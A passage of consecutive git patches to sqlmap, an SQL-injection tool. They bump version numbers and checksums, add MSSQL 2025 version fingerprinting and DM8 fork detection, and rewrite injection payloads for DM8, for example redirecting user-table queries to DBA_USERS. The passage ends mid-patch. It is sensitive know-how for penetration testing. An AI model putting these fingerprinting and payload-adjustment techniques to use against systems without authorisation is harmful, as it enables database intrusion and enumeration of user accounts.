955ece67bfd3c8a27e21dca8604fe5768a69db5d57e78bfc55a4793de61e5c3c plugins/dbms/mssqlserver/syntax.py 84ade82bf8a6d331536f4aeb3858307cd8fb5e4f60b2add330e8ba4aa93afe22 plugins/dbms/mssqlserver/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 3ac8ad2514a..f9918e14287 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.0" +VERSION = "1.9.5.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 8c427874f57..4c387e7aed8 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -89,9 +89,10 @@ def checkDbms(self): logger.info(infoMsg) for version, check in ( - ("2022", "CHARINDEX('16.0.',@@VERSION)>0"), - ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), + ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("2017", "TRIM(NULL) IS NULL"), ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), From 881c91f68727c922176ed8cd92faf853ea80f618 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 10:14:13 +0200 Subject: [PATCH 160/853] Fixes #5895 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/udf.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9c81275194c..a13cbb0641b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -7b30a3f7aec7f349f8f69ee94f3df85325472423cf1bc7a730f61c99ccc8db1c lib/core/settings.py +9bd67ec69e179a1bddb32f3c7b13fef038b498a133800350e53276f1738f3a82 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -227,7 +227,7 @@ c512e9a3cfc4987839741599bc1f5fbf82f4bf9159398f3749139cf93325f44d lib/takeover/i 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/takeover/__init__.py 6c68a6a379bf1a5d0ca5e0db0978e1c1b43f0964c0762f1949eda44cccce8cec lib/takeover/metasploit.py a80176c3bab60af1f45483b1121f2c5a8d0c269eebe0415f78d058302b646aea lib/takeover/registry.py -782ca6271d74dbbed8db223ea6fdc23bbaee5787bbb4112e7b6267f8c6cd9b82 lib/takeover/udf.py +fa02e35499d726eebf88a796a4bb142d27a83c4de1ea18740681a85d7202232d lib/takeover/udf.py ec77bee2f221157aff16ec518ca2f3f8359952cd0835f70dd6a5cd8d57caf5bc lib/takeover/web.py 21f2ccd7363b1da8f4f0b1e5050ed2a6806914d2d13e280d7a6635ce127823c3 lib/takeover/xp_cmdshell.py 8a09c54f9020ca170ddc6f41005c8b03533d6f5961a2bb9af02337b8d787fe3e lib/techniques/blind/inference.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f9918e14287..9bb0397706f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.1" +VERSION = "1.9.5.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index dc535dc6f3c..50b296a96e2 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -204,7 +204,7 @@ def udfInjectCustom(self): msg = "what is the local path of the shared library? " while True: - self.udfLocalFile = readInput(msg) + self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break From 08a7d69d4e6bedf7b2579c351d5741425d89bcfa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 12:04:37 +0200 Subject: [PATCH 161/853] Another patch related to the #5895 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/udf.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a13cbb0641b..ad97174e02b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -9bd67ec69e179a1bddb32f3c7b13fef038b498a133800350e53276f1738f3a82 lib/core/settings.py +b11a39e36f732c082f32cde11f4fa77f37041ff3f8d23443959255993f6779f5 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -227,7 +227,7 @@ c512e9a3cfc4987839741599bc1f5fbf82f4bf9159398f3749139cf93325f44d lib/takeover/i 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/takeover/__init__.py 6c68a6a379bf1a5d0ca5e0db0978e1c1b43f0964c0762f1949eda44cccce8cec lib/takeover/metasploit.py a80176c3bab60af1f45483b1121f2c5a8d0c269eebe0415f78d058302b646aea lib/takeover/registry.py -fa02e35499d726eebf88a796a4bb142d27a83c4de1ea18740681a85d7202232d lib/takeover/udf.py +de79254019cc133a9cb9776e1699ff384abc2145bcc00aaa8ba1901f5a2e8e81 lib/takeover/udf.py ec77bee2f221157aff16ec518ca2f3f8359952cd0835f70dd6a5cd8d57caf5bc lib/takeover/web.py 21f2ccd7363b1da8f4f0b1e5050ed2a6806914d2d13e280d7a6635ce127823c3 lib/takeover/xp_cmdshell.py 8a09c54f9020ca170ddc6f41005c8b03533d6f5961a2bb9af02337b8d787fe3e lib/techniques/blind/inference.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9bb0397706f..7e5d02ee2da 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.2" +VERSION = "1.9.5.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 50b296a96e2..b498c3fe1c6 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -254,7 +254,7 @@ def udfInjectCustom(self): for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) - udfName = readInput(msg) + udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} From bee66988078ae99429c84edac8f26d83652dcff8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 15:11:44 +0200 Subject: [PATCH 162/853] First commit for DM8 - there were some FPs (#5894) --- data/txt/sha256sums.txt | 6 +++--- data/xml/errors.xml | 1 - lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- 4 files changed, 5 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ad97174e02b..84b7bb6a933 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -76,7 +76,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 75672f8faa8053af0df566a48700f2178075f67c593d916313fcff3474da6f82 data/xml/banner/x-powered-by.xml 1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634 data/xml/boundaries.xml -130eef6c02dc5749f164660aa4210f75b0de35aaf2afef94b329bb1e033851f7 data/xml/errors.xml +20fd2f2ba35ade45f242bd3c6e92898ac90b4ee6a63dbb8740cad06f91a395e5 data/xml/errors.xml cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml @@ -173,7 +173,7 @@ f561310b3cea570cc13d9f0aff16cce8b097d51275f8b947e7fff4876ac65c32 lib/core/data. e050353f74c0baaf906ffca91dd04591645455ae363ae732a7a23f91ffe2ef1c lib/core/datatype.py bdd1b5b3eb42cffdc1be78b8fe4e1bb2ec17cd86440a7aeb08fc599205089e94 lib/core/decorators.py 9219f0bd659e4e22f4238ca67830adcb1e86041ce7fd3a8ae0e842f2593ae043 lib/core/defaults.py -ec8d94fb704c0a40c88f5f283624cda025e2ea0e8b68722fe156c2b5676f53ac lib/core/dicts.py +123859300c89a741009f679459291d6028968c609c0c3f485b3fc5cd616065f0 lib/core/dicts.py 65fb5a2fc7b3bb502cc2db684370f213ab76bff875f3cf72ef2b9ace774efda9 lib/core/dump.py 0e28c66ea9dfa1b721cfca63c364bdc139f53ebc8f9c57126b0af7dc6b433dcc lib/core/enums.py 64bf6a5c2e456306a7b4f4c51f077412daf6c697fed232d8e23b77fd1a4c736e lib/core/exception.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -b11a39e36f732c082f32cde11f4fa77f37041ff3f8d23443959255993f6779f5 lib/core/settings.py +f2f4ae2166c3ff771baffaf5c4540e273ed6b583254a55b7a80adc160b7a6396 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 4993a8ae81e..dda262765b9 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -15,7 +15,6 @@ - diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 0253468e21d..a037e1bf3ab 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -269,7 +269,7 @@ HEURISTIC_NULL_EVAL = { DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", - DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", + DBMS.MSSQL: "IIF(1=1,DIFFERENCE(NULL,NULL),0)", DBMS.MYSQL: "QUARTER(NULL XOR NULL)", DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", diff --git a/lib/core/settings.py b/lib/core/settings.py index 7e5d02ee2da..22b4c5cbcb3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.3" +VERSION = "1.9.5.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 45d5a88150820ba017751f5a25cce5bb3aaeefbe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 15:30:29 +0200 Subject: [PATCH 163/853] Adding some initial support for DM8 (#5894) --- data/txt/sha256sums.txt | 6 +++--- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/oracle/fingerprint.py | 19 +++++++++++++++++++ 4 files changed, 24 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 84b7bb6a933..fdd497b0eb8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -175,7 +175,7 @@ bdd1b5b3eb42cffdc1be78b8fe4e1bb2ec17cd86440a7aeb08fc599205089e94 lib/core/decor 9219f0bd659e4e22f4238ca67830adcb1e86041ce7fd3a8ae0e842f2593ae043 lib/core/defaults.py 123859300c89a741009f679459291d6028968c609c0c3f485b3fc5cd616065f0 lib/core/dicts.py 65fb5a2fc7b3bb502cc2db684370f213ab76bff875f3cf72ef2b9ace774efda9 lib/core/dump.py -0e28c66ea9dfa1b721cfca63c364bdc139f53ebc8f9c57126b0af7dc6b433dcc lib/core/enums.py +20cae8064045fbb3a257bca27cf90fad6972cc3307608f2c67c29c34a0583d58 lib/core/enums.py 64bf6a5c2e456306a7b4f4c51f077412daf6c697fed232d8e23b77fd1a4c736e lib/core/exception.py 93c256111dc753967169988e1289a0ea10ec77bfb8e2cbd1f6725e939bfbc235 lib/core/gui.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/core/__init__.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -f2f4ae2166c3ff771baffaf5c4540e273ed6b583254a55b7a80adc160b7a6396 lib/core/settings.py +0bbe808ad64238a5105f754f552bbb45baa0b5075923a2ee4df2aca7dfc3a640 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -406,7 +406,7 @@ eb59dd2ce04fa676375166549b532e0a5b6cb4c1666b7b2b780446d615aefb07 plugins/dbms/m 057180682be97f3604e9f8e6bd160080a3ae154e45417ad71735c3a398ed4dfd plugins/dbms/oracle/connector.py 78e46d8d3635df6320cb6681b15f8cfaa6b5a99d6d2faf4a290a78e0c34b4431 plugins/dbms/oracle/enumeration.py 742ad0eb5c11920952314caaf85bb8d1e617c68b7ba6564f66bce4a8630219e7 plugins/dbms/oracle/filesystem.py -14efe3828c8693952bf9d9e2925091a5b4b6862a242b943525c268a3bc4735b9 plugins/dbms/oracle/fingerprint.py +43a7237962b33272676453fe459a2c961cc01487fe1357868c6c399a444d7729 plugins/dbms/oracle/fingerprint.py 04653ad487de6927e9fcd29e8c5668da8210a02ad3d4ac89707bd1c38307c9b5 plugins/dbms/oracle/__init__.py d5c9bba081766f14d14e2898d1a041f97961bebac3cf3e891f8942b31c28b47e plugins/dbms/oracle/syntax.py 4c83f4d043e5492b0b0ec1db677cbc61f450c8bd6f2314ee8cb4555b00bb64a6 plugins/dbms/oracle/takeover.py diff --git a/lib/core/enums.py b/lib/core/enums.py index 16a32d0449b..a5ed9fef65e 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -107,6 +107,7 @@ class FORK(object): IRIS = "Iris" YUGABYTEDB = "YugabyteDB" OPENGAUSS = "OpenGauss" + DM8 = "DM8" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 22b4c5cbcb3..3bad8ddb1d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.4" +VERSION = "1.9.5.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 03e4e2dce46..9f59bc05da5 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -9,10 +9,14 @@ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject @@ -23,6 +27,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("NULL_EQU(NULL,NULL)=1"): + fork = FORK.DM8 + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -39,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.ORACLE + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -57,6 +73,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): From aa1eef9fa523eca0473db551739a5232ed291ba9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 16:03:45 +0200 Subject: [PATCH 164/853] Adding inference support for DM8 (#5894) --- data/txt/sha256sums.txt | 4 ++-- lib/core/agent.py | 2 ++ lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fdd497b0eb8..87288ca2e9b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ f0a3c3a555920b7e9321c234b54718e3d70f8ca33a8560a389c3b981e98c1585 lib/controller d7b1d29dfa0e4818553259984602410b14c60803cae9c9bb7b249ed7ad71a3f6 lib/controller/controller.py de2b0220db1c79d8720b636d267b11e117151f5f99740567096e9b4cbb7cc9d5 lib/controller/handler.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/controller/__init__.py -41c7fb7e486c4383a114c851f0c32c81c53c2b4f1d2a0fd99f70885072646387 lib/core/agent.py +7dc87028980acda1a85a5b617aab7ae4f8208f5b04aa4827af6556847f550051 lib/core/agent.py f848dcfdacb5143f803f4e9474cf3eef939039c26c522ca09777c425661300f0 lib/core/bigarray.py afecad4b14e8008f6f97a6ec653fc930dfd8dc65f9d24a51274f8b5c3f63a4e2 lib/core/common.py 88fbbe7c41511b17d7ef449d675a84eaa80cac6ebf457a18577eadd62f6f1330 lib/core/compat.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -0bbe808ad64238a5105f754f552bbb45baa0b5075923a2ee4df2aca7dfc3a640 lib/core/settings.py +9e72058da42e6fd31581c651c41f138c58173ff50c403ef6172392e78f94b869 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/agent.py b/lib/core/agent.py index 1500d9f897d..c7200d2a995 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -424,6 +424,8 @@ def adjustLateValues(self, payload): payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) + elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,): + payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3bad8ddb1d1..2b42743909d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.5" +VERSION = "1.9.5.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e5a80fa99c2a5a56b7fa115f647b620daf81c87a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 16:16:33 +0200 Subject: [PATCH 165/853] Final glancing for DM8 (#5894) --- data/txt/sha256sums.txt | 4 ++-- lib/core/agent.py | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 87288ca2e9b..bf13cbfd544 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ f0a3c3a555920b7e9321c234b54718e3d70f8ca33a8560a389c3b981e98c1585 lib/controller d7b1d29dfa0e4818553259984602410b14c60803cae9c9bb7b249ed7ad71a3f6 lib/controller/controller.py de2b0220db1c79d8720b636d267b11e117151f5f99740567096e9b4cbb7cc9d5 lib/controller/handler.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/controller/__init__.py -7dc87028980acda1a85a5b617aab7ae4f8208f5b04aa4827af6556847f550051 lib/core/agent.py +9296a1ffc92d839802ac9da4fcfd8e9d3f325f72a65805e774649f435ca5549e lib/core/agent.py f848dcfdacb5143f803f4e9474cf3eef939039c26c522ca09777c425661300f0 lib/core/bigarray.py afecad4b14e8008f6f97a6ec653fc930dfd8dc65f9d24a51274f8b5c3f63a4e2 lib/core/common.py 88fbbe7c41511b17d7ef449d675a84eaa80cac6ebf457a18577eadd62f6f1330 lib/core/compat.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -9e72058da42e6fd31581c651c41f138c58173ff50c403ef6172392e78f94b869 lib/core/settings.py +0665c5afd734a378c1ebde1aed52ff6d2b361a530764e2345f9e612e8a5713a2 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/agent.py b/lib/core/agent.py index c7200d2a995..f708dfee352 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -426,6 +426,9 @@ def adjustLateValues(self, payload): payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,): payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload) + if "SYS.USER$" in payload: + payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload) + payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b42743909d..c57da5cea6c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.6" +VERSION = "1.9.5.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 7b9af2c3b30aa1117c7d45044ecb3db04383b33d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 19:55:04 +0200 Subject: [PATCH 166/853] Fixes #5896 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/udf.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bf13cbfd544..d03f54d51df 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -0665c5afd734a378c1ebde1aed52ff6d2b361a530764e2345f9e612e8a5713a2 lib/core/settings.py +fbf567e2491aaa14a8471a0a5773b77d4e186cc184d5c1d8ab8705850a930df5 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -227,7 +227,7 @@ c512e9a3cfc4987839741599bc1f5fbf82f4bf9159398f3749139cf93325f44d lib/takeover/i 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/takeover/__init__.py 6c68a6a379bf1a5d0ca5e0db0978e1c1b43f0964c0762f1949eda44cccce8cec lib/takeover/metasploit.py a80176c3bab60af1f45483b1121f2c5a8d0c269eebe0415f78d058302b646aea lib/takeover/registry.py -de79254019cc133a9cb9776e1699ff384abc2145bcc00aaa8ba1901f5a2e8e81 lib/takeover/udf.py +244ccb3044707e0f2380540b8b2bbaeafa98dc2a0f18619c99a7949375132ffc lib/takeover/udf.py 